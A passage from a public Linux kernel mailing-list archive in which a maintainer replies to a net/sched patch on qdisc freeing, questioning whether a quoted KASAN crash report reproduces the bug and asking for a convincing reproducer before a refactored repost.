		while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
	}

	pthread_join(thread, NULL);
	close(ctx.sender);
	close(ctx.receiver);
	close(nl);
	return 0;
}

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
  2026-08-10 15:58   ` David Lee
@ 2026-08-13  1:22     ` Jakub Kicinski
  0 siblings, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-08-13  1:22 UTC (permalink / raw)
  To: David Lee
  Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng,
	Dominik 'Disconnect3d' Czarnota, horms, netdev,
	linux-kernel

On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
> [  230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> [  231.667279]
> ==================================================================
> [  231.667738] BUG: KASAN: stack-out-of-bounds in
> __ip_options_echo+0xdf7/0x1860

I'm struggling to see how this is a repro for the qdisc lifecycle bug

In any case -- if the fix is really correct and there's some real repro
shared off list - I think you're deleting the last caller of
qdisc_free() so you should inline it into qdisc_free_cb()

So patch as is needs to be refactored. But please don't repost just
to refactor, we need a convincing repro first.

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-08-13  1:22 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
2026-08-10 15:58   ` David Lee
2026-08-13  1:22     ` Jakub Kicinski

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox